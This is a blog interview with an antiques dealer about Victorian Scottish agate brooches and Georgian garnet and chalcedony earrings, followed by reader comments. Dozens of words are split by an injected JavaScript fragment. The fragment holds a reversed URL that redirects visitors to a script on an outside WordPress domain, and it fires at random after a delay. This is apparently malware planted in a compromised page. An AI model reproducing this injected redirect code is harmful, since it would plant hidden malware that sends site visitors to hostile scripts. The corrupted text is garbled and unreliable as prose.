Diva-scovery: Third Floor Antiques

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Interview with Third Floor Antiques

Antiques Diva:
Tell me about Third Floor Antiques. How did you get involved in specializing in this particular period of jewelry?

Third Floor Antiques:
My husband and I have been selling antiques for over 25 years. We became involved with Scottish jewelry while shopping an antiques market in London about 23 years ago. I saw a unique brooch with colored stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones set in silver. I inquired about the price and was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told it was 19th century Scottish and was 180 pounds. This was a great deal of money in those years, especially for silver! I thanked the dealer and left. Later in the day while resting in the hotel, my husband returned and purchased the brooch as a surprise for me. So began our mutual appreciation and passion for antique Scottish jewelry. Like many others, our love of collecting became a business. While my husband is a practicing Medical Oncologist, he still has been able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to travel with me and assists me at exhibitions.

Antiques Diva:
What a romantic stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory! Could you tell Diva Readers what’s special about the period you’re interested in?

Third Floor Antiques:
I love its distinctive designs and naturalistic elements. I appreciate the intricate work fashioned out of materials that have little or no intrinsic value. My husband loves the more artistic pieces and I adore the very traditional designs.

Antiques Diva:
I know there are so many toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to choose from that it might be difficult toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to answer this question, but do you have a favorite piece in your collection?

Third Floor Antiques:
One of my favorite items in our inventoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory is #754380 stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock #2189. It is a Scottish agate penannular brooch of exceptional size and choice of colors. The use of penannulars and fibulas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to secure cloaks has been used for centuries. In this example the Scottish designers made the “look” sleek, modern and yet decidedly Scottish.
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Antiques Diva:
I’m swooning… it’s so modern and amazing that this piece dates back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 1880’s. I love the description on the website explaining how it was made toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adorn tartans. The (following) description of it on your online catalog really transports me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another time and place:

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Queen Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria’s love of Balmoral Castle, and the traditions of its people was equally matched by the enthusiasm of the populace. If the Queen wore Scottish jewelry, so did the people. Thus this industry grew and some wonderful pieces of jewelry were created. This penannular is not only grand in stature, but in its fine execution.


Antiques Diva:
How do you see this broach being worn toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today?

Third Floor Antiques:
It is easily used on sweaters, coats or better yet, on a paisley scarf. While wearing it – wherever you are – you can imagine the heather and the Scottish mist.

Antiques Diva:
Any other favorites you care toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share with Diva Readers?

Third Floor Antiques:
The other period of design that we love is the Georgian period. The jewelry is handmade, scarce and so very beautiful. We are currently offering a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.html#item” target=”_blank”>wonderful pair of Georgian garnet pansy earrings – I have had Georgian earrings of this design only once before, as finding long Georgian earrings seem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be getting all the more difficult. The earrings are light on the ear and suitable for day or evening wear. The cascading leaves terminate with a pansy and all four sections articulate. The pansy was a popular flower used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to symbolize remembrance. Given as love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokens, these are as wonderful and sentimental toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today, as they were two hundred years.

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Georgian Garnet Pansy Earrings
Antiques Diva:
Perfect for valentine’s day! (note toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my darling husband, wink, wink, nudge, nudge)!

Third Floor Antiques:
Valentines is indeed just around the corner! Another of my favorites is a pair of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.html#item” target=”_blank”>very rare Georgian chalcedony earrings.

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Very rare Georgian chalcedony earrings
Both are exceptionally lovely and rare in form.

Antiques Diva:
Have you noticed trends in jewelry in terms of what the public wants?

Third Floor Antiques:
Movies such as “Queen Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria, The Early Years” have increased public demand and awareness. Several new books on Scottish and Georgian jewelry are also available for researching these areas.

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Janet, it’s been a pleasure getting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know you and your business! I’ll look forward toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to finding you at the next Pier Show! Any last thoughts before we go?

Third Floor Antiques:
Thanks so much for the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be on the Antiques Diva blog! My husband and I have travelled abroad several times a year in search of these fast disappearing treasures. We are fortunate toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share the passion and the pleasure of meeting hundreds of dealers and having unique experiences. We hold these treasures and then entrust them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to other loving hands.

Antiques Diva:
Thanks Third Floor Antiques for being a special Antiques Diva blog guest – Janet, you are The Diva of the Day!
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Until Next Time,
The Antiques Diva™

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Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

4 thoughts on “Diva-scovery: Third Floor Antiques”

  1. Draffin Bears,

    Aren't those earrings gorgeous. Oh la, la, la…

    I must admit – we're actually not exchanging Valentine gifts this year. We decided we're going to do a Week of Cocktails. Monday to the Ritz, Tuesday to the Adlon, Wednesday night, etc until we reach Friday. 5 nights – 5 different cocktails! We never do cocktails and I love them, first point, so it's fun. And 2nd point the Berlinale Film Festivle is going on the week of Valentines and Berlin will be swimming with celebrities. Where else to bump into them but in the best hotels in town?!! Or that's our logic anyway… and if we dont bump into a star one, we will still have had an incredibly romantic week comparison shopping on cocktail lounges! Too fun!

    Wishing you all the best! And so – since I'm not able to convince my husband to buy me those earrings for Valentines – Go for Carolyn!!!

    The Antiques Diva

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